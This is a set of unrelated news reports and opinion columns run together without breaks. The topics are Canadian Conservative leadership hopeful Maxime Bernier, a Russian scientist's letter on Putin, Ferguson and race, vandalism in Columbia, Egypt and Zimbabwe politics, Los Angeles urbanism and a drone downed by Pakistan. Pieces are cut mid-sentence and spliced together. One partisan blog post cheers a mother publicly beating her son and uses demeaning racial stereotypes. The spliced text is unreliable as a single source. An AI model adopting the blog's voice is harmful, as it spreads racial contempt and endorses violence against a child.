Discipline keeps up your game. Bernier is trim and intent on staying that way. His outfit is just about perfect for a modern conservative: open-neck shirt, sleek navy suit, silk pocket square.
And his retail political skills are preternatural. Likely candidate Kevin O'Leary might think the Conservative leadership is his for the asking, but Mr. Wonderful could learn quite a bit following Bernier around for a few days.
Mid-breakfast, an affluent-looking woman walks by and she and Bernier recognize each other. Bernier's on his feet instantly, declaring it's been too long, and they must get together, and that he's in Vancouver in a couple of days.
She glances at me, and Bernier - who has clearly forgotten my name - does a quick mental two step and says "Oh, and this is the best CBC correspondent." Clever bugger.
She nods, utterly uninterested, and takes a seat in the corner. Bernier goes back to explaining himself to yet another journalist, one more moment in a 13-month slog that will, if it pays off in May, make him Conservative leader, then give way to years more of lonely slog-exhaustion.
Or not, of course.
Bernier's life is a moveable banquet of rubber chicken, and shaking grimy, anonymous hands, and pretending great interest in everyone, trying all the while to turn the discussion to Maxime Bernier. And perhaps asking for some money while he's at it.
Actually, that's unfair. What Bernier mostly turns the discussion to is his ideas.
Less government
He's libertarian, to the extent that it's possible to be a libertarian and seek high office in a country that was built on protectionism and entitlement and government being the answer to everything.
He advocates the end of quotas and supply management for dairy, poultry and eggs. Oh, and maple syrup. Most Canadian politicians — let alone MPs representing rural Canada like Bernier — prefer to leave such topics undiscussed.
He wants to abolish interprovincial trade barriers. Stopping companies from growing into other Canadian jurisdictions, or stopping workers from travelling between provinces, he characterizes as "foolish," "doubly foolish" and "ridiculous."
Go ahead and argue with that.
Bernier wants an end to what he calls "corporate welfare," his term for governments using tax money to pick winners, such as Bombardier and General Motors, and letting losers struggle with market forces.
Conservative Leadership candidate Maxime Bernier spoke to reporters on Parliament Hill today 1:04
He wants to deregulate telecommunications in a country with some of the most expensive cell phone bills on earth. Let other companies come in and compete, he says.
Ditto for airports and airlines. To Bernier, more competition is always the answer.
Health care? He rather refreshingly pronounces the Canadian system, with its rationing and waiting lists and regional inequalities, "abysmal." Bernier wants to pull the federal government out of health care entirely and transfer tax points to the provinces, which are solely responsible for delivering health care in any event.
That, he says, would be the end of endless bickering and financial demands from the provinces. He concedes the plan would disadvantage poorer provinces with smaller tax bases, but says that's what equalization is for.
Bernier avoids the term "two-tier," but that's what he's proposing. He wants private delivery, but stresses his support for keeping universal health insurance: "I'm a libertarian, but I'm reasonable."
He would cut taxes. Deeply. Oh, and balance the budget in two years. Which is simply unrealistic. That explanation would take several more breakfasts.
Speaking to Quebecers
Now, none of this is to say that Bernier doesn't like talking about Bernier.
He claims to lead the Tory pack. The most recent public poll disagrees, but he says he has his own research. He raised more money than everyone else combined over the summer. His only real competition, he reckons, is O'Leary — if O'Leary ever actually declares — and fellow MP Kellie Leitch. Both of them are Trump-school agitators, something Bernier scorns.
And neither of them speaks much, if any, French. Actually, most of the Tory leadership field speaks lame or non-existent French. Yet they're willing to stand in front of television cameras, as they will again on Jan. 17, and take part in a French-only debate, an event Bernier will clearly, hugely enjoy.
"I speak French," he says, stating the obvious in fluent but accented English. With Justin Trudeau leading the Liberals and the Bloc Québécois in shambles, he says, it is delusional to think Conservatives can hope to take power in 2019 without Quebec, and taking Quebec means speaking to francophone Quebecers in their own language.
Qu’est-ce qui me motive? Me battre pour les contribuables canadiens. <a href="https://twitter.com/hashtag/LundiMotivation?src=hash">#LundiMotivation</a> <a href="https://twitter.com/hashtag/polcan?src=hash">#polcan</a> —@MaximeBernier
Bernier knows some in his own party write him off as extreme, but give him this: he talks policy ideas, and doesn't bottom-feed. He stays out of the nativist, anti-immigrant lagoon.
Niqab bans and barbaric practices snitch lines, he says, were a disaster for Conservatives in 2015. As for immigration screening, he points out that the Parliament Hill shooter was a Canadian citizen, born in Quebec with the name "Bibeau." If Canada has concerns about jihadist ideology, he shrugs, it should strengthen its security agencies.
Bernier says he would abolish capital gains taxes, and lower Canada's already low business tax rate by a third. (CBC)
Bernier sneaks a look at his watch. He has an appointment. Then he notices Chrystia Freeland, the new foreign affairs minister, eating breakfast with her children and father at the next table. At once he's on his feet, as though they were constituents, towering over Freeland, clasping her hand, complimenting her, telling her he hopes she enjoys the portfolio, although he disliked it when Stephen Harper gave it to him a decade ago.
Freeland introduces her dad, a farmer from northern Alberta, who tells Bernier he already knows who he is.
"The supply management boards?" asks Bernier.
Freeland's father smiles, clenches his outstretched right hand, and turns thumb down, nodding.
This column is part of CBC's Opinion section. For more information about this section, please read this editor's blog and our FAQ.Renowned biophysicist Maksim Frank-Kamenetsky left his native Russia 21 years ago to settle in the United States.
Last fall, he returned to Moscow on a four-month teaching assignment.
But instead of the homecoming he had looked forward to, his stay in Russia left him so upset that he decided to pen an outspoken letter to Russians.
"During my stay here, an overwhelming feeling of nausea gradually came over me and grew stronger all the time," he wrote in his letter, which has been widely circulated since it was posted online earlier this month. "There has not been such centralization, such concentration of power in this vast country in the hands of one person since Stalin's time."
Frank-Kamenetsky, a professor of biomedical engineering at Boston University famous for his contribution in the field of DNA topology, says he was shocked to witness what he describes as a "rabid" adulation for Russian President Vladimir Putin.
"It's a bona fide cult of personality, like the one I witnessed as a child," he tells RFE/RL's Russian Service.
'Idiotic Mantra'
Such wake-up calls have become rare in Russia, where Western criticism of the country's actions in Ukraine have shored up public support for the Kremlin and its increasingly defiant, isolationist stance.
In his letter, Kamenetsky laments the "idiotic mantra" that he says is being trumpeted by most Russians, including intellectuals, consisting of professing unconditional love for Russia and all things Russian.
He says he was also struck by the rampant anti-Americanism among Russians, a trend he attributes to an enduring postimperial complex caused by the Soviet Union's collapse. Frank-Kamenetsky recalls his consternation upon finding racist T-shirts lampooning U.S. President Barack Obama on sale in Moscow's most famous street, the Arbat, alongside T-shirts extolling Putin as "The Best President."
"Almost everyone is infected, to various degrees, by this anti-Americanism," he says. "Surprisingly, even those who understand the inadmissibility of what Putin is doing in Ukraine don't miss an opportunity to recall the mistakes of U.S. administrations -- the bombing of Yugoslavia, the invasions of Afghanistan and Iraq, and so on and so forth -- and say that America's crimes are much worse and more dangerous that Putin's mistakes."
In his letter, Frank-Kamenetsky takes issue with Russia's annexation of Crimea from Ukraine last March, a move welcomed by a majority of Russians -- 73 percent, according to a September poll by the independent Levada Center.
He calls the annexation a "dangerous precedent" and points out that even Nazi leader Adolf Hitler held talks with France and Great Britain before annexing the German-speaking Sudetenland from Czechoslovakia.
"What about the so-called Kaliningrad region, i.e. Koenigsberg and East Prussia?" the letter continues. "Is this also Russian soil? Or is it German?"
'A Horrible End Or Endless Horror'
Frank-Kamenetsky, who regularly travels to Russia, says his departure from the country this time filled him with unprecedented relief. He says Russia, with its increasingly palpable atmosphere of uncertainty and fear, is sliding back to Soviet ways.
"This fear is well-founded because no one knows what the next step is going to be," he says. "One person is effectively in charge. This is also very scary since, in the light of current events, his ability to make appropriate decisions is highly questionable."
According to Frank-Kamenetsky, a new law requiring Russians with dual nationality to register with Russian migration authorities has also stoked fear in Russians living abroad.
The biophysicist, who holds both Russian and U.S. citizenship, chose to voluntarily register with Russian authorities. But he says many of his Russian colleagues and friends in the United States have resolved not to return to Russia.
"If people don't register within 60 days after entering the country, they risk administrative or criminal prosecution," he says. "This is why many people got really scared."
Fresh from his four-month stint in Russia, Frank-Kamenetsky is not optimistic about the country's prospects. He believes that unless Moscow changes course, Russia's political isolation, combined with the rapid slide of the ruble, spell disaster.
"If a full-blown crisis breaks out, there will be two options: a horrible end [for the regime] or endless horror [for the Russian people]," he predicts. "I think there is no need to say which I would prefer."Carol Anderson is an associate professor of African American studies and history at Emory University and a public voices fellow with the Op-Ed Project. She is the author of “Bourgeois Radicals: The NAACP and the Struggle for Colonial Liberation, 1941-1960.”
When we look back on what happened in Ferguson, Mo., during the summer of 2014, it will be easy to think of it as yet one more episode of black rage ignited by yet another police killing of an unarmed African American male. But that has it precisely backward. What we’ve actually seen is the latest outbreak of white rage. Sure, it is cloaked in the niceties of law and order, but it is rage nonetheless.
Protests and looting naturally capture attention. But the real rage smolders in meetings where officials redraw precincts to dilute African American voting strength or seek to slash the government payrolls that have long served as sources of black employment. It goes virtually unnoticed, however, because white rage doesn’t have to take to the streets and face rubber bullets to be heard. Instead, white rage carries an aura of respectability and has access to the courts, police, legislatures and governors, who cast its efforts as noble, though they are actually driven by the most ignoble motivations.
White rage recurs in American history. It exploded after the Civil War, erupted again to undermine the Supreme Court’s Brown v. Board of Education decision and took on its latest incarnation with Barack Obama’s ascent to the White House. For every action of African American advancement, there’s a reaction, a backlash.
The North’s victory in the Civil War did not bring peace. Instead, emancipation brought white resentment that the good ol’ days of black subjugation were over. Legislatures throughout the South scrambled to reinscribe white supremacy and restore the aura of legitimacy that the anti-slavery campaign had tarnished. Lawmakers in several states created the Black Codes, which effectively criminalized blackness, sanctioned forced labor and undermined every tenet of democracy. Even the federal authorities’ promise of 40 acres — land seized from traitors who had tried to destroy the United States of America — crumbled like dust.
Influential white legislators such as Rep. Thaddeus Stevens (R-Pa.) and Sen. Charles Sumner (R-Mass.)tried to make this nation live its creed, but they were no match for the swelling resentment that neutralized the 13th, 14th and 15th amendments, and welcomed the Supreme Court’s 1876 United States vs. Cruikshank decision, which undercut a law aimed at stopping the terror of the Ku Klux Klan.
Nearly 80years later, Brown v. Board of Education seemed like another moment of triumph — with the ruling on the unconstitutionality of separate public schools for black and white students affirming African Americans’ rights as citizens. But black children, hungry for quality education, ran headlong into more white rage. Bricks and mobs at school doors were only the most obvious signs. In March 1956, 101members of Congress issued the Southern Manifesto, declaring war on the Brown decision. Governors in Virginia, Arkansas, Alabama, Georgia and elsewhere then launched “massive resistance.” They created a legal doctrine, interposition, that supposedly nullified any federal law or court decision with which a state disagreed. They passed legislation to withhold public funding from any school that abided by Brown. They shut down public school systems and used tax dollars to ensure that whites could continue their education at racially exclusive private academies. Black children were left to rot with no viable option.
A little more than half a century after Brown, the election of Obama gave hope to the country and the world that a new racial climate had emerged in America, or that it would. But such audacious hopes would be short-lived. A rash of voter-suppression legislation, a series of unfathomable Supreme Court decisions, the rise of stand-your-ground laws and continuing police brutality make clear that Obama’s election and reelection have unleashed yet another wave of fear and anger.
It’s more subtle — less overtly racist — than in 1865 or even 1954. It’s a remake of the Southern Strategy, crafted in the wake of the civil rights movement to exploit white resentment against African Americans, and deployed with precision by Presidents Richard Nixon and Ronald Reagan. As Reagan’s key political strategist, Lee Atwater, explained in a 1981 interview: “You start out in 1954 by saying, ‘N-----, n-----, n-----.’ By 1968 you can’t say ‘n-----’ — that hurts you. Backfires. So you say stuff like ‘forced busing,’ ‘states’ rights’ and all that stuff. You’re getting so abstract now you’re talking about cutting taxes, and all these things you’re talking about are totally economic things, and a byproduct of them is blacks get hurt worse than whites. And subconsciously maybe that is part of it. I’m not saying that.” (The interview was originally published anonymously, and only years later did it emerge that Atwater was the subject.)
Now, under the guise of protecting the sanctity of the ballot box, conservatives have devised measures — such as photo ID requirements — to block African Americans’ access to the polls. A joint report by the NAACP Legal Defense and Educational Fund and the NAACP emphasized that the ID requirements would adversely affect more than 6 million African American voters. (Twenty-five percent of black Americans lack a government-issued photo ID, the report noted, compared with only 8 percent of white Americans.) The Supreme Court sanctioned this discrimination in Shelby County v. Holder, which gutted the Voting Rights Act and opened the door to 21st-century versions of 19th-century literacy tests and poll taxes.
The economic devastation of the Great Recession also shows African Americans under siege. The foreclosure crisis hit black Americans harder than any other group in the United States. A 2013report by researchers at Brandeis University calculated that “half the collective wealth of African-American families was stripped away during the Great Recession,” in large part because of the impact on home equity. In the process, the wealth gap between blacks and whites grew: Right before the recession, white Americans had four times more wealth than black Americans, on average; by 2010, the gap had increased to six times. This was a targeted hit. Communities of color were far more likely to have riskier, higher-interest-rate loans than white communities, with good credit scores often making no difference.
Add to this the tea party movement’s assault on so-called Big Government, which despite the sanitized language of fiscal responsibility constitutes an attack on African American jobs. Public-sector employment, where there is less discrimination in hiring and pay, has traditionally been an important venue for creating a black middle class.
So when you think of Ferguson, don’t just think of black resentment at a criminal justice system that allows a white police officer to put six bullets into an unarmed black teen. Consider the economic dislocation of black America. Remember a Florida judge instructing a jury to focus only on the moment when George Zimmerman and Trayvon Martin interacted, thus transforming a 17-year-old, unarmed kid into a big, scary black guy, while the grown man who stalked him through the neighborhood with a loaded gun becomes a victim. Remember the assault on the Voting Rights Act. Look at Connick v. Thompson, a partisan 5-4 Supreme Court decision in 2011 that ruled it was legal for a city prosecutor’s staff to hide evidence that exonerated a black man who was rotting on death row for 14years. And think of a recent study by Stanford University psychology researchers concluding that, when white people were told that black Americans are incarcerated in numbers far beyond their proportion of the population, “they reported being more afraid of crime and more likely to support the kinds of punitive policies that exacerbate the racial disparities,” such as three-strikes or stop-and-frisk laws.
Only then does Ferguson make sense. It’s about white rage.
outlook@washpost.com
Read more about Ferguson from The Washington Post:
I’m a federal prosecutor. Here’s why it’s so hard to indict police officers.
Get rid of local policing — Ferguson shows it doesn’t work.
The message from Ferguson is clear: Black youths, your lives don’t matter
How St. Louis County profits from poverty
Black America and the burden of the perfect victim
I’m a cop. If you don’t want to get hurt, don’t challenge me.COLUMBIA, MD - A total of 24 vehicles had their windows shot out with BB guns in the last few days in and around Columbia, police reported.
Nine vehicles on various streets in Columbia and Fulton were shot with a BB gun between Friday, April 21, and Saturday, April 22, police said Monday.
The shootings occurred on Green Mountain Circle, Tamar Drive and Maple Lawn Boulevard.
No one was injured and nothing was stolen, according to police.
Authorities said this was the second string of BB gun shootings in one weekend of this kind.
In the overnight hours leading to Friday, April 21, police said 15 vehicles were vandalized in a similar way.
Windows were shot out of vehicles on Amherst Avenue, Beechwood Road, Carlinda Avenue, Farewell Road and Wesleigh Drive, according to officials. A BB gun was used in those cases as well, officials said. There were no thefts or injuries reported.
Anyone who has been a victim or who has any information is asked to contact the Howard County Police Department at 410-313-3700.
Patch file photo.Not only has the Egyptian president been welcomed with open arms by Germany's Angela Merkel, but the US has released a draft foreign aid bill free of political restrictions on Cairo, writes Taimur Khan
NEW YORK // Egyptian president Abdel Fattah El Sisi has had a good week.
Newly proposed US foreign aid legislation free of political restrictions and a trip to Europe that has paid sizeable economic and diplomatic dividends have made clear that – for now at least – the momentum for repairing frayed ties with Cairo in the wake of Middle East chaos is showing no signs of slowing down.
After refusing for months to invite Mr El Sisi to Germany on a state visit, chancellor Angela Merkel held talks with the Egyptian president in Berlin on Tuesday. While she said there are differences over Egypt’s domestic policies, such as the spate of death sentences for political opponents, the emphasis was not on criticism but common core security interests.
“I think that if one wants to be partners and solve complex issues, we have to be able talk about these things... this doesn’t mean that we can’t work very, very closely on other issues,” Ms Merkel said, capturing the international sentiment.
The German leader’s previous position may have been tempered by the economic opportunities that Egypt offers German firms. A central aspect of Mr El Sisi’s European trip has been to promote economic ties, and his delegation also held meetings with representatives of major German corporations. It was announced that Egypt had awarded Siemens a record 8 billion euro (Dh32.7bn) contract to supply gas and steam power to significantly increase Egypt’s electricity generation.
On Friday, Mr El Sisi held bilateral talks with the Hungarian prime minister, Viktor Mihaly Orban, in Budapest, to discuss economic cooperation and counter-terrorism and security.
Egypt is key for a stable Middle East, and “since distances in the modern world have shrunk... there is no stability in Europe without a stable Egypt,” Mr Orban said.
In Washington, US relations with Egypt had hit a low in 2013 after Mr El Sisi, then a military commander, overthrew Egypt’s conservative president, Mohammed Morsi, after massive protests against his rule grew. US president Barack Obama suspended the annual $1.3bn (Dh4.8bn) in military aid that the United States has given to Egypt since it signed a peace deal with Israel in 1979.
Many within the Obama administration believed, as they still do, that the stifling of political dissent and the crackdown on the Muslim Brotherhood will eventually lead to a new generation of radicalised Egyptians who will pose a security threat to the US, Egypt and the region.
The freeze in the aid deeply angered Egyptian officials who were infuriated that, as they saw it, the administration withheld crucial equipment while they fought extremists in the Sinai Peninsula and on the border with Libya.
But since the rampage of ISIL extremists across the region over the past year, the White House has steadily lifted the holds on aid out of security concerns. The only hold that has not been lifted was a democracy restriction that required the secretary of state to certify to congress that Egypt was taking steps towards full democracy, including by holding parliamentary elections.
On June 2, however, the US congress moved a step closer to fully returning to the status quo aid relationship, with a House subcommittee introducing a draft of the 2016 foreign aid budget, worth $1.5bn overall (including military and non-military aid), which is free of any such reform conditions.
The new bill would only require that the administration certifies that Cairo is sustaining its strategic relationship with the US and abiding by its peace treaty with Israel. It would also require the secretary of state to issue a classified report every 90 days that Egypt is taking steps to protect human rights and hold elections, but there are no conditions tied to this.
However, the draft budget is currently only the subcommittee version and has yet to go through the full foreign relations committee. There will also be a version submitted over the summer by the Senate, where there are a number of powerful critics of Egypt. As a result, a final congressional vote on the budget is unlikely to happen before December.
Perhaps in a concession to critics of Egypt in congress and the administration, the bill allows for $150 million of the total aid budget to go to non-governmental groups and democracy programmes in the form of economic support funds, and that Cairo would only receive money for budget support if the administration certifies it is stabilising its economy and implementing “market-based economic reforms”.
“Egypt is critical to the stability of the Middle East. I respect that president Sisi has called on religious leaders to reject radical terrorism, and Egypt must continue to build a strong diverse democracy. And we must continue to help them create jobs and grow their economy,” Dutch Ruppersberger, a Democrat on the foreign aid subcommittee, said in a statement to The National. “That said, we need to ensure we protect our other ally, Israel, and work through some of the outstanding issues regarding foreign aid restrictions.”
Some in the new Republican-dominated congress, in both parties, especially the House, have been vocally supportive of Mr El Sisi and a number of delegations have visited Cairo for talks with the Egyptian president.
“The security issue is what made people in congress who otherwise would not have cared much to get on board with the idea that this is not the time for us to put on any types of restrictions” on aid, said Mokhtar Awad, an analyst of US-Egypt relations at the Center for American Progress think tank in Washington.
At times, the US administration has had a contradictory stance on Egypt, but analysts doubted whether it would push for the restrictions to be reinserted.
“There are people in the administration who are very frustrated with the actions of the Egyptian government,” said Stephen McInerney, executive director of the Project on Middle East Democracy in Washington. In its last report explaining its refusal to grant a democracy certification to Egypt, the US state department was scathing in its assessment of the El Sisi government.
But the public disapproval has been muted, and the tone become more positive, though Egypt policy as a whole is not near the top of the US’ list of priorities in the region.
“For the most part they (the Obama administration) don’t feel like the US has the ability to influence the behaviour of the Egyptian government and there is not much appetite to take any real tough stands,” Mr McInerney added.
When Mr Obama announced his intention to fully resume military aid in late March, he also said that the nature of the aid would shift away from big-ticket items and weapons that the Egyptians wanted, to things the US feels are best suited to address Egypt’s security challenges.
Aid would be channelled into a handful of categories, counterterrorism, counter-insurgency in Sinai, maritime security and border protection, Mr Obama said at the time. The credit system that allowed Egypt to buy what they wanted long in advance of receiving aid would also be abolished, giving the US yet more control.
So far, Mr Awad said, there have been few concrete steps towards this recalibration and clarity on what the administration wants from Egypt in return for the full resumption of aid. There are real concerns in the administration about Egypt’s strategy for dealing with extremism, but the US has not made clear how it will tie its aid to a more effective strategy by Cairo.
“At a policy level the administration needs to be able to clearly articulate and tie its [aid] commitments to security deliverables from Cairo,” Mr Awad said. “Without that they won’t bring many dividends to the US.”
tkhan@thenational.aeZimbabwe first lady denies assault on Gabriella Engels, saying she was protecting herself after being attacked with knife
Zimbabwe’s first lady, Grace Mugabe, has denied assaulting a South African model in a hotel suite in Johannesburg last month, saying she acted in self-defence after being attacked with a knife.
In a previously unreported deposition from 17 August, Mugabe countered the version of the incident given by Gabriella Engels to police and media. According to Mugabe, she was protecting herself after intervening on behalf of her adult sons, Chatunga and Robert Jr, who were “in trouble with a drunken young woman”.
The statement said Mugabe, 52, was considering seeking attempted murder charges.
Engels alleges an irate Mugabe burst into the room in a luxury hotel where she was waiting with two friends to meet Chatunga Mugabe on 13 August and started beating her with an electric cable.
Photographs taken soon after the incident showed a gash to Engels’ forehead and head.
Facebook Twitter Pinterest Engels’ forehead injury. Photograph: Debbie Engels/AP
The incident reinforced Mugabe’s reputation for angry outbursts and focused attention on the lifestyle of Mugabe’s two sons, who live in the upscale Sandton area of the South African commercial capital.
South African media alleged this week that the two students had been handed a $60,000 bill for damages following their eviction from a penthouse apartment in Sandton after a brawl in July.
Mugabe is a contender to replace her ailing 93-year-old husband, in power for 37 years, as Zimbabwe’s president.
The alleged assault played badly at home in Zimbabwe, where it was picked up in detail by the media, which also reported on the first lady’s multimillion-dollar property portfolio in Johannesburg and the alleged extravagance of her two sons.
In her deposition, Mugabe dismissed Engels’ version as “malicious allegations” and said she had been attacked after going to help her sons.
“She was worried about them and went to see them at their hotel suite,” the statement said. “Upon her arrival, Ms Engels, who was intoxicated and unhinged, attacked Dr Grace Mugabe with a knife after she was asked to leave the hotel …Security was left with no other option but to remove Ms Engels from the hotel suite.”
The statement also alleged that Engels had been in a fight with other women at Johannesburg’s Taboo nightclub the previous evening and suggested that may have been the cause of her injuries.
Afriforum, a civil society group acting on behalf of Engels, denied both accusations, and accused Mugabe of “desperately trying to escape responsibility for her own violent behaviour by using lies to falsely portray the victim in this case as the perpetrator”.
“Gabriella never attacked Grace Mugabe in any way and she did not participate in the fight at Taboo,” Afriforum told Reuters news agency.
Zimbabwe dares to dream of life after Mugabe Read more
South Africa controversially granted Mugabe diplomatic immunity, allowing her to evade immediate prosecution for assault. Engels and Afriforum have challenged the legal basis of that decision, saying Mugabe was in South Africa not on official business but to seek medical treatment.
The decision to let Mugabe return home caused a row in South Africa, with the opposition Democratic Alliance also going to court to try to overturn the immunity.
Mugabe’s main rival in the race to succeed her ailing husband is the vice-president, Emmerson Mnangagwa, a veteran party official. Mnangagwa, 74, is the preferred choice of most western diplomats, has some public support and is thought to have the backing of the military.
Mugabe is a more flamboyant figure, once known for her lavish shopping trips, which angered many in the impoverished country. Recently she has become more involved in politics as the head of the Zanu-PF women’s wing, and has publicly called on her husband to name a successor.Watch This Black Mom REMOVE Her Son from BLM [VIDEO]
This mother is a hero to me.
I know the bleeding heart Leftists will say she’s abusing her child. And those are the people responsible for this “child” getting caught up with a terrorist organization.
For the multitude of silly ass Leftists who believe they control the black population, I give you Super Mom.
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Will the media learn anything from their biased reporting of the Jussie Smollett story? * Yes, they've gotten so much wrong recently that they're bound to be on their best behavior. No, they suffer from a bad case of Trump Derangement Syndrome. Jussie who?
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This mother deserves an award. She didn’t care who saw her whoopin’ that ass.
And to his credit, the young black teen thug-in-training responded appropriately, as he took his ass-kicking like a champ.
What I like most is the mother didn’t do the “white” thing, and wait until she got home so she could put the child in time out. She publicly humiliated the teen. This way, other blacks could see how to discipline a teen headed for the penitentiary or the grave.
Next, and perhaps more importantly, her public humiliation allowed me to use this video as a teaching tool for the brain-dead morons on the Left.
I have no idea about the life of this mother. I suggest she is single mother, because if she were married to the boy’s father, she would only have had to look as the father parented the teen.
One thing is |
specifically environmental. But a more publicly oriented city also tends to be a greener one. This is partly because mass transit and walking mean lower carbon emissions. And more broadly, willingness to invest in the public realm tends to coincide with political decisions that prioritize the public good, including ecological sustainability.
Any great city has its own mythologies. But perhaps in Los Angeles, as in California generally, myths loom particularly large. First, real estate boosters sold Southern California as an “Earthly Paradise,” a place for Midwesterners to bask in sunshine and to own an affordable single-family house. Before long, critics exposed class violence and sinister undertones, casting L.A. as a noirish hell or, in the words of writer and labor activist Louis Adamic, simply “a bad place.” Then, in 1971, came another overhaul to the myth, when British architecture critic Reyner Banham famously celebrated the city in Los Angeles: The Architecture of Four Ecologies, praising its charming bungalows and exhilarating freeways. Two decades later, Mike Davis documented these competing myths in his 1990 best-seller City of Quartz, and sided caustically with the critics, offering a dystopian vision of “Fortress Los Angeles.”
For all the disagreement over whether Los Angeles was dream or nightmare, there was one point on which everyone seemed to agree—that it was not a real city. Adamic called it “a great, overgrown village.” Or, if it was a city, it was, in the words of an essay published in the late 20th century, “the first American city”—a model for the sprawl, privatization, and car dominance that was to become typical of U.S. municipalities. Jane Jacobs wrote neutrally but damningly, “Los Angeles is an extreme example of a metropolis with little public life, depending mainly instead on contacts of a more private social nature.” And in his great 1997 book, The Reluctant Metropolis, William Fulton showed how all the different parts of the metropolitan area scrambled to escape any sense of Los Angeles identity or community—the reverse, in a sense, of the kid from Long Island who implies he’s from New York City.
On all of those fronts, there are signs of change. One of the most obvious counter-examples is CicLAvia, the kind of phenomenon that makes Jacobs acolytes swoon. Launched in 2010, it’s a festive event during which miles of streets are closed to cars and swarmed by bikes. Taking place every two to three months, and rotating among different neighborhoods (Echo Park, the Valley, South L.A., etc.), each occasion attracts a diverse crowd of tens of thousands of people. They are the type of feel-good events—some might even call them utopian moments—where strangers smile at each other and ordinary life feels suspended. Traffic lights blink, and even cops whiz by on two wheels, wearing endearingly dorky helmets. In every sense—the car-shunning, the enthusiastic proximity to strangers, the exploration of different parts of the city—CicLAvia is antithetical to the guarded, privatized, auto-carved Los Angeles of lore.
CicLAvia remains a special occasion, but everyday transit is slowly improving as well. Banham wrote that the freeway “is where the Angeleno is most himself, most integrally identified with his great city,” and he predicted that “no Angeleno will be in a hurry to sacrifice it for the higher efficiency but drastically lowered convenience and freedom of choice of any high-density public rapid-transit system.” In 2008—pushed in part by unbearable traffic—Angelenos proved him wrong. On that Election Day, citizens of Los Angeles County voted for Measure R, which imposed a half-cent sales tax to support funding for transportation projects, including the expansion or construction of 12 rail and bus rapid transit lines. It is expected to generate $40 billion in revenue over 30 years. This choice stands in stark contrast to the famous Proposition 13, the 1978 California anti-property-tax law which has wreaked havoc on the state’s budget for public investment ever since. Jonathan Parfrey, executive director of the L.A.–based organization Climate Resolve and a former commissioner at the Department of Water and Power, told me, “The day we voted for Measure R, we voted for a new Los Angeles.”
Then there’s water. Another central part of the old Los Angeles myth was embodied in a quote famously attributed to water engineer William Mulholland at the opening of the Los Angeles Aqueduct just over 100 years ago: “There it is. Take it.” These words were interpreted as a slogan for a city that would siphon water from wherever it pleased to hydrate a burgeoning population.
Now, if only out of desperation, there is at least a strong competing ethos. Starting in the early ’80s, the city got more serious about conservation, as seen in its mass conversion to low-flow toilets. The city has been responding to the current drought on a number of fronts. It has significantly reduced its own water use, especially in the Parks Department. It has offered a rebate to homeowners who replace their lawns with drought-tolerant landscaping, as well as rebates for installing rain barrels, among a variety of other measures. (It remains to be seen how the city will implement the new mandatory state restrictions.) The Department of Water and Power is also preparing a new Stormwater Capture Master Plan, and L.A. has a target of reducing imported water use by 50 percent by 2025. According to Andy Lipkis, founder and president of the influential nonprofit Tree People, even in a drought, the proper technology can capture significant amounts of water—3.8 billion gallons per inch of rainfall.* Mayor Garcetti just launched a corny public awareness campaign urging conservation. Contra Mulholland, the new slogan is “Save the drop.”
Of course, Los Angeles is far from alone in its bid for environmental virtue. It is following national trends; like many cities, it now has a chief sustainability officer. Plans for an ambitious new recycling system (including food waste) are in the works. And let’s not forget that California is a pioneer in addressing climate change. Its groundbreaking 2006 law, the Global Warming Solutions Act, requires the state to reduce its greenhouse gas emissions to 1990 levels by 2020. As of this January, all components of this law, including a cap-and-trade program, are fully operational, and many of LA’s green initiatives are connected with that. What makes the developments in LA that much more remarkable, though, is that it’s … L.A. Observing them is sort of like seeing a guy get out of his Hummer and carry his reusable canvas bags into the grocery store.
For the same reason, L.A.’s evolution is particularly inspiring—that is, it could serve as a model for other not-so-green cities. Los Angeles started out as very strange, unlike the urban model found in Europe and the Northeast. And then it became more normal, as other places were similarly built around the automobile, subdivisions, and strip malls. Now, L.A. is becoming, in some ways, more like the cities that preceded it. In other ways, it has begun to capitalize on the natural assets it does have to become a 21st-century city: According to Environment America, Los Angeles now ranks first in the country for total installed solar PV capacity.
And yet, many caveats are in order. Indeed, one could easily live in L.A. with little sense of its supposed reinvention. Almost none of its new transit projects has been completed yet. According to a new UCLA report, 73 percent of L.A. County residents drove to work alone in 2013. A 2012 ballot measure to extend Measure R narrowly missed the needed two-thirds majority. A housing shortage is causing economic pain and ensuring long commutes.
On top of all that, the city still imports more than 85 percent of its water, and the current drought is likely a foretaste of the future. Due to climate change, the Southwest may experience megadroughts lasting decades. As attempts at water independence become more necessary, they also become more difficult. Meanwhile, the drought has eroded decades of progress on smog (since rain clears away air pollution), and water scarcity also leads to higher energy consumption.
Given this state of affairs—the exciting momentum, the daunting status quo—what role will the city’s emerging mythology play? The danger, of course, is that the narrative of a more environmentally sound, civic-minded city could in some cases amount to mere lip service. It could gloss over the city’s social and economic disparities, some of which could even be exacerbated as the city’s new attractions lure more creative-class types.
But more charitably, in some ways the new storyline could be self-perpetuating. It could affect how people vote—another transit measure is expected to be on the ballot in 2016—and how they perceive each other. Perception can’t manufacture water, but it can encourage conservation, and it can foster the public street life that coincides with sustainability—the opposite of the fortress mentality so often ascribed to L.A. At the most recent CicLAvia, in the Valley, I witnessed the following exchange: A woman emerged from a Porta-Potty, and a man, apparently a stranger, asked her if she’d watch his bike while he took his turn. Every element of that scene was disorienting. Generations of seekers did not head West with the fantasy of sharing outhouses and entrusting bikes to each other. But if, as we keep hearing, California needs a new dream for a new age, that scene is not a bad place to start
Correction, April 22, 2015: This article originally misidentified Andy Lipkis as the executive director of Tree People. He is its founder and president. (Return.)The drone shot down by the Pakistani military, which was earlier claimed to have been an Indian unmanned aerial vehicle (UAV), has turned out to be of Chinese origin.
The embarrassment to Islamabad authorities came just after Chinese reports revealed the doomed drone was a Chinese-made DJI Phantom-3.
The Shanghai-based website Observer was cited by Beijing's state-run media outlet, People's Daily, as confirming the drone shot down "by Pakistani military was recognised in Beijing as the Chinese-made DJI Phantom 3".
The report went on to say: "Observer says the drone sells for $1,200 each," adding that it is the "most powerful and most accessible" drone till date.
Tensions between the nuclear-armed neighbours, India and Pakistan have risen in recent weeks amid ceasefire violations in the border region. The drone incident has also raised serious concerns despite a meeting of the prime ministers of both the countries on the sidelines of the Ufa summit in Russia.
The Pakistani military earlier said: "An Indian spy drone was shot down by Pakistani troops which intruded into Pakistan along [the Line of Control] near Bhimber today. The spy drone is used for aerial photography." Islamabad also summoned the Indian High Commissioner to Pakistan over the episode.
Nevertheless, the claim was immediately refuted by the Indian authorities saying the aircraft did not belong to the Indian forces.
New Delhi's Foreign Secretary S Jaishankar said: "We have seen the pictures. It looks like a Chinese drone, available off the shelf. It is not of Indian design, not of any unmanned aerial vehicle category held in Indian inventory."
